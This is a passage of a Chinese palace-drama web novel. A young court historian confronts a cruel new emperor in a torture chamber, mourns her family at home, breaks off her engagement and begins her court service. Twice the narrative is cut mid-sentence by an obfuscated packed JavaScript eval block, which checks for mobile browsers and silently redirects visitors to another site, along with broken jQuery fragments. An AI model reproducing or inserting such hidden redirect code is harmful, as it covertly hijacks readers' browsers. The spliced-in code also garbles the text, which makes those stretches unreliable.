我心急如焚,狂奔在大狱潮湿的地面上,突然足底一滑,跌在了地上,我揉了揉膝盖,摇摇晃晃站起身,不管不顾地冲去了大狱最深处。 卷宗上写过,大狱底层是审问拷打的地方,进者凶多吉少,十中不留一二。 地下的空间阴冷无比,满地奔跑着蛇虫鼠蚁类的小动物,我强忍着恶心,凭着一点微末的记忆,找到了行刑的房间,哆嗦着手去拉那扇铁门。 门口守着两个狱卒本在打盹儿,见不知何处冲来了一个小姑娘,不可置信地揉了揉眼睛,见我上来就要开刑室的门,连忙把我拦下来道:“你做什么!这儿是御史台狱!” “废话!我不识字吗!”我大喊道:“开门!” “你……” “让她进去。”懒洋洋的声音再次传了来。 脚步由远及近,李斯焱笃定地走了过来,袍角上被我吐的那块唾沫格外醒目,不过看他神色自然,好像并不在意这一点点的脏污。 也是,他幼时长于掖庭,比这更脏的东西也见过。 他吩咐狱卒:“把火点上,让她瞧瞧清楚。” 狱卒摸不清头脑,但既然皇帝发了话,还是毕恭毕敬地把我放了进去,点燃了壁火。 我用力推开门,浓烈的血腥味扑面而来,冲得我心跳猛地漏了一拍。 这是一间地地道道的刑室,阴冷潮湿,四壁悬挂着无数陈年的铁具,火光照射下散发出湛亮的光泽。 我喉头翻涌,又是一阵想吐,拼命地忍住了,抬头一瞧,有一中年男子被铁链缚于室中,衣裳残破,遍体鳞伤,头低低地垂着,发丝凌乱。 我失声叫道:“郭先生!” 李斯焱在我身后笑道:“看来你的确认得他。” 我当然认得他,他叫郭辛,是先帝朝的黄门郎,性情忠直,满腹经纶,与我父亲在太学里做过同窗,父亲请他教过我两年的书法,所以我叫他郭先生。 李斯焱把刑室的门关上,娴熟地落了锁。 室内只剩下了我们三人。 我浑身的毛都炸了起来,像一只弓着腰的狸奴一样拦在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599790|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个中年男子身前,惊怒道:“你想对郭先生做什么!” “不做什么,”李斯焱顺手摘下了一柄长鞭,对我恶意地笑了笑道:“带你出来玩玩罢了。” “你怎么能对郭先生下手!”我慌了起来,像老母鸡护崽一样,把中年男子拦在身后:“……那时你不得先皇宠爱,郭先生于心不忍,多次暗中襄助,你不记恩也就算了,怎么能……怎么能……” 李斯焱抓鞭子的手顿了顿,嘲讽道:“沈缨,你那些过家家一样的公理道义,或许朕的好哥哥可能会听上几句,可朕不会。” 他的神情冷了下来,看着我道:“宫禁事发后,郭辛趁乱出宫告密,帮助废太子的两个儿子逃出帝都,随行的还有废太子豢养的部曲与死士,这是勾结里外的大罪,朕感念昔日恩德,才没有当场处斩,并许诺他只要吐出朕这两个好侄子去了哪里,就饶他一命,官复原职,还不够仁慈吗。” 我不可置信道:“你……两位小殿下不过总角之龄,你怎么连小孩子都不放过?” 李斯焱奇道:“你不是史官吗?谋权篡位该怎么收场,你应比朕清楚。” 我一时语塞。 对,历来皇权之争,都讲究一个斩草除根,可即使如此,把刀挥向两个稚龄小童这种事,我无论如何也接受不了。 “是……缨缨吗。” 当我发愣时,身后突然传来虚弱的声音。 我登时转移了注意,慌忙回过身,抓住郭辛的手道:“郭先生,是我,他们都对你做了什么?” 郭辛虚弱地叹了一声:“莫要问了,一把老骨头,他想拆,便让他拆去算了。” “缨缨?” 李斯焱念了一遍郭辛对我的称呼:“你的小名?” 我与郭先生都没心思搭理他。 郭辛咳了一声道:“陛下既已得偿所愿,又何必赶尽杀绝……两位小皇孙也罢,缨缨也罢,都是与这场风波无关的可怜人,陛下……为何总不愿放过他们……咳咳!” 他太虚弱了,说不出完整的话来。 李斯焱淡淡道:“废太子当年一念之仁,留了朕一条贱命,可就是这点妇人之仁,让他被朕这个卑鄙无耻的弟弟砍了脑袋,郭卿觉得,朕会重蹈他的覆辙吗。” 他的神情渐渐幽冷下来:“朕和他不一样,他从小高高在上,万千宠爱,所以才生得心肠软糯,迂腐不堪,可朕想要的东西从来都只能去抢——既然要抢,那就必须不死不休,斩草除根。” 好一个不死不休。 这是我头一次直面李斯焱扭曲的价值观,着实被震撼得不轻,感到无比愤慨的同时,又带有一丝茫然,是什么样的环境,才能生长出这么漠然,这么残忍,这么没有底线的人啊? 我正色道:“须知威天下不以兵革之利,得道者多助,失道者寡助,你行事如此霸道狠辣,便是得了江山,也将怨声载道,沸反盈天,绝不会长久。” “这不是你要操心的事,”他大概觉得我一身正气讲道理的样子好笑,眼神中的冷芒散去了,饶有兴致地居高临下道:“行了闭嘴吧,洗洗你一身酸儒味儿,熏得人头疼。” 我气坏了:“你……” 郭辛轻声道:“缨缨,别任性,此事与你无关,你出去。” “郭先生,他要杀你!”我一下急了:“我护不住阿爹,不能连你也护不住!” 李斯焱嗤笑道:“……你拿什么护着他,拿这张叭叭叫的小嘴吗?” 我又被他气了个半死,强行压抑着怒火,让自己冷静下来,站起身走到他面前道:“你放了郭先生,我……我告诉你先太子的一桩隐秘!” 李斯焱哦了一声,一对狐狸眼微微眯了起来,上下打量了我几遭。 我怕他不信,凛然道:“我家世代史官,家训规定了不可谰言,我不会骗你的。” 他看起来不以为然,但还是懒洋洋地道:“什么了不得的隐秘,值当换郭辛的自由,不管真不真,且说来听听。” 我警惕道:“……你不放郭先生,我便不说。” 李斯焱笑了笑:“甚好,那就别说了。” 只见他眼中闪起阴狠的寒芒,脸上笑吟吟地举起鞭子,在我惊慌的大叫声中向郭辛抽去, 长鞭划过肉身,发出一声脆响,郭辛痛苦地闷哼出声,肋骨处留下一道血肉模糊的鞭痕。 我呆呆地站在原处,全身止不住地发抖。 见他再次扬起了手,我一个激灵回过神来,扑上去一把抓住他的鞭子,高声道:“出逃在外的两个小世子不是太子的儿子,是他从二皇子府上抱来的!” “缨缨!”郭辛惊怒地打断我。 李斯焱讶异地看了我一眼,长眉皱起,看我的眼神像是在审视一个老奸巨猾的犯人。 “说清楚,”他把鞭子放回原处,取下了一只镶铁钉的巨棒,轻柔道:“你最好别撒谎,郭辛的身子骨弱,可挨不起这样的刑棍。” 一不做,二不休,我把心一横,坦白道:“此事隐秘,知道的人极少,先皇陛下恐日后生变,于是令我阿爹暗中将此事记录下来,我……我本不该知道的,可我有一次偷看了阿爹的手记……” 偷看到了……一些劲爆的皇家八卦。 比如太子殿下外表看起来风华正茂,温润如玉,其实……其实底下的东西,也和玉石一样中看不中用…… 我心虚地用眼角余光看着郭辛。 郭先生像个破风箱一样喘着气,脸色灰白,目光暗淡,却没骂我,我沮丧地想,他大概是被我气到失语了。 我一闭眼,有些心虚地道:“偷看阿爹的笔记是我不对,可……可是太子和二皇子都已经罹难,这个秘密也没什么大不了的了,对吧。” “而且郭先生,不管你说不说,他是皇帝,早晚会找到那两个孩子的所在的,如果让他知道了他们并非太子亲生,说不定……说不定能放他们一条生路呢?” 郭辛嘶声道:“你给我闭嘴!小小年纪如此顽劣,捅了天大的篓子还不自知,你……唉……” 我乖乖立正挨骂,低声对李斯焱道:“我告诉你了,你能放了郭先生和那两个小殿下了吗。” 李斯焱放下了铁棍。 “你说的手记在哪里。”他淡淡问道。 “在史馆,进门第三个书架的暗格里,钥匙我阿爹和宰相大人各一把。” 他默不作声地转过头,伸出滴血的胳膊,敲了敲狱门,吩咐一个不知何时出现,正在外等候的老内侍道:“着人去搜沈振的尸身,再把宰相叫来。” 沈振正是我父亲的名字。 我的指甲紧紧嵌进了肉里,生疼。 此事重大,李斯焱再也没了料理我的心情,放下了刑棍后匆匆离开,只留我一人在刑室之中,与郭辛两两相对无言。 3. 第三章-回家挨骂 良久,郭先生哑着嗓子问道:“他刚才说沈振的尸身,是我听错了吗?” 李斯焱走了,绷紧的心突然松弛了下来。 我心里头空落落的,麻木地点点头道:“先生没听错,他杀了阿爹,二叔,还有哥哥,家里四个史官,如今只剩下我一个了。” “昨天宫里死掉了很多人,”顿了一顿,我又轻轻道:“先生,晚辈不想再见更多的血了,所以才将此事说了出来,想着能保下一条性命是一条。” 郭辛大约早就猜到了,叹了口气,声音转柔道:“节哀。” “先生不怪我?” 我小小声地问道。 郭辛道:“不怪你?这份手记一出,太子一脉再无即位可能,你叫破如此重大的秘辛,就为了保老夫一人的命,你自己觉得这么做对吗。” 我没吭声,可打心底里一点却也不后悔。 我是史官,行事向来都是直来直往,既然那两个孩子并非太子所出,那叫真相大白于天下,也没什么不好的。 “罢了,你也及笄了,做了什么,自己能承担后果便是。” 见我久久不答复,郭辛又叹了一声。 “先生,我已经付出代价了,”我低头道:“昨日我当着百官的面,指着他鼻子唾骂了他一遍,本想追随父兄而去,可拔簪子拔得慢了些……他以抄家灭族为威胁,命我给他当十五年起居郎,放在身边慢慢折磨……” “胡闹!” 郭辛又激动起来:“你一个女孩子,胡乱掺和这事作甚!当廷斥骂,这是泼天的大罪,他没当场杀了你是你命大,早知你如此不识轻重,当初便不该向先帝荐你入史馆!” 我倔强地低着头挨训。 委屈吗?是委屈的,但即使再来一次,我大概还是会这么做。 郭辛被我的胆大妄为气得不轻,拖着残破的身躯,硬是数落了我半个多时辰,后来实在体力不支,才迷迷糊糊地昏睡了过去。 他睡去了后,我小心的地把我的外袍盖在他身上,望了眼紧闭的牢门,找了个角落,把自己缩成了一小团,盯着石墙发呆。 我不太困,只觉得很茫然,被训斥多了,自己也有点怀疑自己是不是真的做错了。 过了很久很久,那扇石门被打开了,一个年轻内侍走了进来,对我道:“沈娘子,陛下许你归家两日,轿辇已备在外头了,请吧。” 我腿麻了,站不起身,蹲在角落里问道:“那郭先生呢。” 内侍道:“陛下没有旁的吩咐。” 我不死心:“……郭先生身子弱,不耐地牢阴湿……” 内侍仍道:“陛下没有吩咐。” 没有办法,我只能抛下郭先生离开,临走时回头看了他一眼,他正昏沉地睡着,身上盖着我的外袍,袍下的身体瘦骨嶙峋,散发着暮年的味道。 我无端想起来小时候他教我读书的样子,那时候他还没给先帝当黄门郎,只在翰林领了个闲职,每日下了差事后,在后院子里带我们几个小孩子读论语,他老是说为人处事,当以仁善为先,他也的确做到了。 无论是当初帮李斯焱,还是后来帮太子家的两个小孩,驱使他的只是内心那股子纯直的善良而已。 只是,以德报怨,何以报德呢?李斯焱天性凉薄残忍,又怎么会记得他的恩情? 我难过地想,圣贤书教我们做正直的好人,可纵观史册,好人容易倒霉,反倒是祸害们都长长久久了,天道怎么就这样不公。 * 折腾了整整一夜,踏出大狱时只觉恍若隔世。 我抬头望向远方,天光微明,长安之东升起年轻的太阳,又是新的一天了。 今日休沐,御史台空荡无人,坊外车水马龙,我坐在稳稳的轿辇里,穿街走巷过我熟悉的街坊,任人群的喧嚣声把我吞没。 这是我长大的地方,世间最繁华美丽的城市,这里有冠盖如云,有商贾遍地,胡姬携花款款而行,青槐下的骚客且饮且歌……可此刻我听着外头的笑语,平生第一次感受到我与这座城市的悲喜并不相通。 他们为什么要笑呢?我茫然地想,李斯焱杀史官,斩旧臣,强逼孤女,无恶不作,这样一个人来当皇帝,有什么可值得庆祝的? 我的亲人为公义而死,但好像百姓们并不在乎这些, 走到东市的尽头,我望见了熟悉的糖水店,老板娘正端出一盘晶莹剔透的玉露酥山来,底下是糯糯的碎冰,淋上一层香甜的酥油,再簪一支刺蘼在山尖处,风雅沁凉,这是我最喜欢的小甜点。 “停下,”我突然叫道,未及停稳,便跳下了轿辇。 老板娘认得我,但她不知道我身上发生了什么,瞅瞅那四个内侍打扮的轿夫,再瞧瞧憔悴不堪,脑袋上缠着绷带的我,她糊涂极了。 我小声道:“芸娘姐姐,我想吃玉露酥山。” “好,好,”老板娘连忙摸摸我的头,吩咐小丫头去准备冰块,关切道:“缨缨这是怎么了,头撞坏了吗。” 我低头不说话,芸娘见我难过,轻轻把我的头发拢到耳朵后面去,温柔道:“没事的,先来吃些甜的东西。” 我对她道:“芸娘姐姐,你多保重,我以后大概不会再来了,我……” 我再说不下去了。 从昨天起,我的精神就在一种极度不稳定的状态下,我怕我多说一个字,都会当众痛哭出声。 芸娘叹口气道:“好孩子,姐姐知道你不愿意多讲,这都无妨的,我的摊子一直在这里,哪天如果还馋我的冰点,尽管来找姐姐,姐姐还给你做酥山。” 我接过那碗剔透的酥山,向她道了别,钻回了轿辇上。 酥山醇厚香甜,还是记忆里的味道。 我又想起来那时候我拉着阿爹,叔婶,哥哥一同来惠顾芸娘的生意,哥哥嫌这东西太甜,吃了两口后全丢给了我,我那天吃了两碗酥山,当晚便拉了肚子,二叔笑我是山里的棕熊进了城,净爱吃甜腻凉爽的东西,阿爹去灶上给我煮黄连,板着脸训我,说以后不准再多吃冰点。 啪,一滴泪水打在酥山顶上,压垮了那朵浓红的刺蘼。 打从走出史馆那一刻起,我就再也没有哭过,我本以为自己已经丧失了流泪的能力,但有些记忆刻在味觉里,会伴人一生,在无知无觉的时候,突然让你回想起什么。 自吃到第一口酥山起,幕天席地的欢乐往事瞬间冲垮了我心里的高墙。 一滴,又一滴,我的眼泪夺眶而出,悲恸终于找到了一个宣泄口,跟着眼泪簌簌而落。 听着外头欢笑的人群声,我独自一人缩在玉辇的角落,一边无声地大哭,一边往嘴里大口大口地塞酥山,甜腻的糖水在我嘴里融化,真的好甜啊,可能是这糟糕的世间唯一一点甜味了。 * 我一边流泪,一边吃掉自己的泪水,在安邑坊下辇时,我把眼泪一抹,扔掉空空的碗,又变回了刚强的沈家长女。 我没时间再哭了,李斯焱只给了我寥寥两日空闲,这两日里,我有太多的事情要料理,实在是顾不得纾解悲伤。 深吸了一口气,我推门进入前庭。 见到婶子时,她已换了一身白色的寡妇装,正在和寿材店的伙计讨价还价,强硬表示此单必须附送纸钱香烛,要不然她就找别家去。 “我们家连定三具棺木,另加石碑白绢和灵位供桌,这么一大笔生意,总该有点折扣吧。”婶子敲着桌子,振振有词。 伙计大概也是第一次见到那么有战斗力的寡妇,被说得节节败退,最后只能悻悻同意。 送走了伙计,婶子一眼望见了我。 两个倒霉女人相顾无言半晌,她叹了口气,问我道:“缨缨,这究竟是怎么回事?” 我打了一个酥山味的嗝,把事情一五一十地说了。 真不愧是我的婶子,她听完,第一反应就是揍我。 “你这个不要命的小兔崽子!读史都读到狗肚子里去了吧,你知不知道这是犯上的大罪,大罪啊!”她一张俏脸气得通红,抡起板凳打我的屁股,来势汹汹。 我绕着桌子躲避她的攻击,委屈道:“我知道啊,所以我想骂他一顿然后触柱来着,谁知道狗皇帝不让呢!” “你还想自杀!?”婶子气疯了。 她把板凳一扔,接着骂道:“你这个倒霉催的蠢驴脾气,和你爹一个样儿,不就认个怂吗?有什么不行的?上头那位刚刚即位,正愁没人给立威呢,你倒好,直接就往炮口上撞!这下可有意思了,你赔进去十五年,这辈子甭想再嫁人,我们孤儿寡母也不能离开长安,啊,我这是造了什么孽!” 我纳闷地问道:“此话怎讲,为什么婶子和小川不能离开长安?” 婶子白了我一眼:“你说呢?早晨宫里的人来过了,让我们留在长安城里,准许小川以后去国子监读书……说白了就是把我们扣在这里,让你有个顾虑。” 我如遭雷击,一瞬间什么都明白了,双膝一软,跪在她膝前哭道:“婶子对不起,是我太冲动了,累得你们哪里都去不了,你揍我一顿吧,让我好受些。” 婶子粗暴地安慰我:“婶子打你是因为你不要命,又不是因为这个。你跪什么跪,留在长安不好吗?我有宅子住,小川有书读,侄女儿还有俸禄拿,六品的起居郎,若能换个皇帝伺候,也算是不错的职位了。” 我仔细一琢磨,好像确实不错,我没死,家里就多一个赚钱的人,还顺带解决了小川的入学问题,不亏。 婶子不愧是当家主母,从经济角度洗白了我的罪行。 我略略平复了一下心情,突然想起来遗嘱问题,便把我爹的遗言说了一遍,说他让我去洛阳找我姑姑。 婶子叹道:“这个就算了,便是逃去了,你姑姑也没胆子收你。” 她意识到了什么,反手抓住我的胳膊,沉声问我道:“你二叔呢,他说了什么。” 二叔的遗言比较劲爆,我吞吞吐吐地告诉了她。 婶子听见二叔竟想让她改嫁,眼圈一下就红了。 那么坚强的女人,在这时也露出了脆弱的底色。 “做他的美梦,我哪里也不去,这辈子就耗在沈家了,百年之后也要和他躺一个坑。”婶子把手指节搓得嘎嘎作响,咬牙切齿道:“还有吗?” “二叔说安邑坊房价要跌,让我们卖房子。” 婶子点点头:“也是,我们孤儿寡母住那么大的宅子太招人惦记,回头换个小点的。” 最后,我和婶子齐心协力挖出了狗洞下面二叔的私房钱,一共二两黄金,还有散碎铜板若干。 婶子盯着二叔的私房钱,表情很扭曲。 我猜她正在琢磨要不要往二叔坟头扔屎。 “婶子,死者为大。”我弱弱道:“二叔也算是悬崖勒马,坦白交代了,你大人有大量,就原谅了他吧。” 婶子吐出一口浊气:“不然呢?我总不能亲自下黄泉找他算账啊。” “二两金子罢了,不值什么,回头给他买一套书随葬。”婶子道:“你二叔平生无甚所好,唯独爱这些字字画画的东西,早知道如此,上月他说想买套博物志的时候,就不该拦着他。” 我本想告诉她二叔已经悄悄咪咪在书坊下单了,但看她神色悲戚,还是没敢。 “对了,”婶子好像突然想起了什么,对我道:“昨日夜间孟叙来找过你。” “他来找我了?”我愣了愣。 孟叙是我青梅竹马的铁哥们兼初恋对象,同时也是我换过婚书的未婚夫。 一人身兼数职,可见此人在我心中地位超然。 婶子点了点头道:“他那时候脸色不好,想必是知道了你的境况的,你自己看着处理,不要耽误了人家。” “他知道我得罪皇帝了?他现在在哪儿?”我顿时着急起来:“别是去做傻事了啊!” 婶子道:“被关在府里了,你也知道,他家那个老太君是个厉害人物,如今多事之秋,断不会纵容孙子在外头胡来。” 我回忆起孟老太君抡着拐棍揍人的样子,稍感安慰。 “不过也别高兴得太早,我看你们的婚事,九成九要黄。” 婶子泼了我一盆冷水:“天底下有谁会巴巴地等一个女孩十五年呢?” 我惆怅道:“黄就黄了吧,我宁可孟叙娶别的小娘子,也不想让他白白等我那么久。” “自己惹出来的事自己收拾,”婶子道:“他给你留了信,在你房里的镇纸下,先看看他是什么个意思,你再做决断。” “我晓得了。”我心里难受,小声道:“明天我就去孟家退婚。” 婶子转过头,盯着我黯然的眼睛看了半晌,突然问道:“你骂皇帝的时候,有没有想过他?” 我被问得一愣。 婶子转过头,漠然道:“我猜你是没想过的,你们沈家人,天性里就无情,你这样,你二叔也这样,家人在你们心里,还没有那点子史官的大义要紧。” 她把门前的灯笼点上,又淡淡道:“你们一死以全声名,倒是干干净净清清白白,可替你们心忧难受的,都是还活着的人。” 白灯笼在夜风中打着转,把婶子的半边侧脸映得月光一样白。 她的声音里有浓浓的疲惫,与其实说给我听,倒更像是在怨我二叔。 怨他狠心把她们孤儿寡母抛下,也怨他居然还想劝她改嫁。 我无言以对,默默低下了头。 今天被夏富贵,郭先生,还有婶子接二连三地批评教育,我只是左耳进右耳出,根本没半分反省。 可是方才,婶子失望无比地说你们沈家人天生就无情,我心里突然像是被针刺了一下,隐秘地锐痛起来。 或许我也是有些后悔的吧,不敢承认罢了。 不敢承认我的坚持毫无意义,也不敢承认我其实骨子里没那么坚强,一腔孤勇退去后,我也会后怕的。 可是…… 我闭了闭眼,握紧了拳头。 可是事情已经做下了,就要承担后果。 * 我按照婶子的吩咐,在镇纸下面找到了孟叙的信。 拿到信的那一刻,我有种把它直接烧掉的冲动,但最后还是叹了口气,看了起来。 孟叙人如其名,是个爱掉书袋的话痨,洋洋洒洒写了五页纸,中心思想总结下来就只有一句:婚盟保留,静候君归。 看得我气血上涌,脑瓜子生疼。 什么静候君归!他知不知道十五年有多长? 孟哥哥什么都好,就是太死心眼儿,认准的事情十头驴都拉不走,他既然说要等我,那一定就已经做好了不娶的准备……可这谈何容易?先要过家人那关,再要孤孤单单等我十五年,况且,如果我不慎交代在了宫里,他怎么办呢? 不行,我把信丢在一边,按着太阳穴想:要让他打消这个危险的想法。 我可不想毁掉他顺顺遂遂的前半生。 * 草草地睡了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599791|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上,第二天鸡一叫,我就从床上爬了起来,匆匆吃了几口饼子,冲去了安邑坊另一头的孟府,对门子说我找孟叙。 原本与我相熟的门子垮起一张丧母脸,不阴不阳道:“沈娘子好,我们老太太说了,姓沈的女子一概不准进孟府的门,您请回吧。” 嘿这小兔崽子,还敢跟我摆谱。 我往门栏子上一靠:“我来退亲的,不成就算。” “沈娘子稍等,我去禀报老太太。”门子的脸一下就放了晴,一溜烟地跑了。 其速度之快,让我甚至怀疑此人是不是暗恋孟叙。 说明退婚来意后,孟府上下都对我表现出了惊人的欢迎,除了孟叙本人。 ——因为他正在绝食抗议以争取婚姻自主权。 孟老太君今日第十八次灌他粥水未果,气得脸色铁青,瞧我的眼神十分不善,像在看一个勾人精魄的女妖精。 我几乎能听到她内心不甘的尖叫声:这女的长相平平性格恶劣,究竟是凭着什么把优秀的孙子迷得神魂颠倒的呢?? 我冷漠地想:因为我这该死的魅力。 “既然来了,便去瞧瞧他吧,”孟老太君尽力让自己的声音听起来慈祥一点:“这孩子性子轴,我们做长辈的平白取消了这门亲事,他定是不甘愿的,还须你去劝一劝他,解开心结才是。” “好。” 我痛快地答应了。 不用下人带路,我已熟门熟路地去了孟叙的院子,一拉开门,就见孟叙直挺挺地端坐在榻上,眼神坚毅,看上去像一尊慈恩寺在逃佛像。 把我吓得嗷地惊叫一声。 他为人板正,连绝食看起来都很体面,周正清秀的脸面色如纸,见我一来,双眼微眯,随即轻声叹道:“……都饿出幻觉了。” 我心里奔腾而过万千只羊驼,可能是这群羊驼太重了,踩得我的心有一点点微微的酸。 孟哥哥向来是温文尔雅,清隽内敛的一个人,为了我居然愿意把自己折磨成这样,我刚刚失去至亲,旁人对我的一点点好,都会让我像个溺水人抓住了救命稻草般仔细珍惜。 但是,我也清楚地知道,我没有这个资格。 他值得更好的人生。 我一声不吭,拿起粥碗,粗暴地塞在他手里,命令道:“喝掉。” 他摇头:“不喝,你不是缨缨。” 我干巴巴笑了一声:“我不是,难道你是吗,起来把粥喝了,我有话跟你说。” 尽力让自己看起来冷酷一点。 他迷惘地看着我,伸出手抚上我的脸颊。 我侧身躲开,把他的庚帖取出来,和粥碗一并塞到他手里。 “孟哥哥,我是来退婚的。” “昨日的事你应该也打听到了,我得罪了李斯焱,他拿抄家灭族来威胁我,要我为他做十五年起居注,我别无选择,不能嫁给你了,对不起。” 见他没反应,我又道:“户部侍郎家的三姑娘倾慕你已久,不如……” 他平静地打断了我:“我不会娶别人。” 我见他冥顽不灵,心里发急,苦口婆心道:“孟哥哥……不对,孟郎君,这可是十五年呀,长安城的好娘子何其多,你不必单单就看我一人的,这不值得。” 孟叙还是摇摇头。 这个人一整日滴水未进,却仍那么犟,我还给他的庚帖,被他又重新塞回到我手里。 我们像两个推搡红包的小孩儿一样幼稚。 最后,孟叙把庚帖放在一旁,开口道:“别闹,你好好儿地听我说。” 他潭水般的眼睛对着我,温柔而坚定地道:“缨缨,你要知道,我只愿意和你共度一生。昨日得知你做了什么时,其实我不独是关切你的安危,还为你的勇毅骄傲,当廷怒斥,据理力争,连男子都未必有这样的胆色,你却毫不犹豫地这样做了,我很佩服。” 我脑子嗡嗡地响,听见自己咚咚咚的心跳声,轰烈如擂鼓,满脑子只剩下那一句,他为我的勇毅骄傲。 我不知觉地开口:“勇敢吗?所有人都觉得我傻,夏富贵,婶子,郭先生……他们都觉得我是女孩子,所以就该服个软,安安静静地不出声,可我不想这样,孟哥哥,我不想这样,我爹说了,为史官者俯仰无愧,清白来去,我不想苟活,这有错吗……” 说着说着,我的泪水又翻涌而出,打湿了他的衣襟。 孟叙把我揽在怀里,轻轻拍打我的后背,柔声安慰道:“婶子和郭先生是担忧你才这么说,未必是觉得你错,辛苦了,好好哭一场吧,你没做错任何事,错的是只那个皇帝,杀史官本就是一个皇帝最卑鄙的手段,我们缨缨骂得一点没错。” 我死死揪住他的衣袖,战栗道:“孟哥哥,我好害怕,你不知道,我阿爹的血溅出了好远,就因为他不愿意听李斯焱的话,这个人是魔鬼,是一条疯狗,我一见他就想咬断他的脖子,要怎么如何忍得下十五年?” “莫怕,过几个月便是进士授职的时候,我会找机会谋能出入宫廷的差事,或许有幸能陪伴你一二。”孟叙摸摸我的头发。 我再也忍不住了,伏在他干燥温暖的怀里,嚎啕大哭。 是真正扯着嗓子的那种嚎哭,搁秦朝能哭倒长城,搁三国能哭塌城门,好像要把所有的委屈害怕,对未来的迷茫统统都发泄出来一样,孟叙抱着我,我们像是荒野里两树合抱的连理枝,紧紧抓住对方不愿放开。 很多年以后,孟家的人告诉我,他们原本对我颇为愤恨,觉得这小娘怎么搞的,说好来退婚,结果还和家里的郎君聊起了天,老太君动了怒,带着人过来想把我扔出去,可隔着门听见了我的哭声,顿时愣住了,她此生从未见到有人这样哭过,那么悲切,那么沉痛,好像要把心肝都泣出血来一样,她几度抬起手,又放下来,最后只叹了口气,转身离开了。 * 再三强调不准再寻死之后,孟叙喝下了那碗凉粥,把我送出了门。 他知道我还有很多事情要做,不能耽误我太久。 孟哥哥就是那么好,不论我做什么,他总是愿意站在我这一边,天底下没有人比他更明白我了。 有人在外面等我,或许这十五年也不会那么难熬。 婶子是对的,我心想,一死何其简单,鼓足勇气去活才最难,但活下去比死了更好,活下去我才能和孟哥哥过安宁的日子,活下去我才能陪在婶子身边尽孝,每逢清明和她一起去坟头骂二叔。 “想通了便好。” 回府后,婶子听我说完以后的打算,轻轻摸了摸我的头。 她一边帮我备好体己钱财,一边絮絮地和我说起这场风波里死去的人,有自戕殉道的,也有被李斯焱杀掉的。 最后她提了一嘴,就在下午时,李斯焱开了御史台大狱,放了一批老臣出来,被众人视作此事尘埃落定的讯号。 “郭先生呢?”我问道。 “也放了。”她往我的小荷包里塞了两颗金豆子:“不过一朝天子一朝臣,他不再能做黄门郎了,圣上把他打发去了国子监,当个授书的先生。” “圣上?”我不忿道:“他哪里配做皇帝,郭先生那么惨,都是他害的!” 婶子急道:“死心眼儿,事已至此,你还犟什么犟,皇宫是轮得到你讲道理的地方吗?” 她捏着我的耳朵教训道:“你这副死驴脾气,在宫里面活不过三个唱段!进去之后机灵着点,别让我知道你在里头又瞎惹事!” “……哦。” 4. 第四章-豪横社畜和霸道老板 五月廿三日,天气晴好,风和日丽,是李斯焱当皇帝的第四天,也是我第一天上工的日子。 一大早,我就被素行姑姑从床上抠了下来。 此女原本是先皇栽培出来的女官,不知为何投诚了李斯焱,最大的优点是忠诚,忠诚得像条哈巴狗一样,是目前紫宸殿除了皇帝之外最大的头儿。 然而此刻,这位女官大人用一种堪称绝望的神情看着我,好像在看一团无可救药的垃圾。 本垃圾豪横地与其对视,寸步不让。 起因是我拒绝穿那身难看至极的宫装,拒绝抹那散发着木樨味儿的头油,而且对她奇怪发型发表了极其刻薄的嘲讽。 通过一系列找事行为,我希望让她明白,我和她手底下的那些乖猫似的小宫女不一样,我脾气暴,不好惹,惹急了我连皇帝的逆鳞都敢扒,她一个小破总管能奈我何? 历史告诉我,低烈度的抗争是争取福利的最佳手段,要想将来的日子好过,就要积极试探狗皇帝的底线。 素行见我一副桀骜不驯的模样,脸色青青白白十分精彩,她是宫女头子,体面人,面对我这种豁出去的泼妇没有一点办法。 这些深宫女人也没什么创意,一遇到摆不平的人,只知道向上峰告状。 她愤恨地瞧了我一眼,转身进了狗皇帝的书房。 我对她做了个侮辱性极强的鬼脸。 过不多时,哈巴狗脸上洋溢着激动快意的神气,从柜子里小心翼翼拿出一根镶宝石的鞭子,缓缓向我走来。 她端起威仪道:“沈娘子,我本不想为难你,奈何宫里有宫里的规矩,万不能任由得你目无法纪,冲撞陛下,陛下特准我施用此鞭,纠正你的过错,今日我将……啊!” 我突然暴起,劈手夺下她的鞭子,干脆利索地照着她的臀部来了一鞭。 她疼得大叫一声,整个人都懵了,倒在地上半天没爬起来,嘴唇哆嗦着,抬手颤颤巍巍地指向我。 我掂着那花里胡哨的鞭子笑了出来:“中看不中用的东西,半点不顺手,素行姑姑,我早就想说了,你看起来真像条哈巴狗,不插根尾巴总觉得你缺了个物件儿,不完整。” “沈缨,你这个疯妇!”她被我羞辱得脸色惨白,爬起来撕我的嘴,我嘿了一声,气沉丹田,蹂身而上,反手一个小擒拿把她再次撂倒在地。 ——像这种四体不勤的大明宫特产淑女,我一次能揍三个不带喘气的,老娘小时候人称安邑坊铁拳小霸王,也是笑看过风云的好吗。 “把她抓住!”素行打不过我,气急败坏地对外头的侍卫嚷道。 我不打算多纠缠,扔下鞭子举手投降。 一个侍卫立刻冲上来,反剪了我的双手,高高举过头顶。 我乖乖任他举着,心想这位侍卫哥哥倒还挺怜香惜玉,比那天在宣政殿上卸我胳膊那位温柔多了。 “紫宸殿重地,不容你撒野!”可惜温柔侍卫哥哥说的话一点也不温柔。 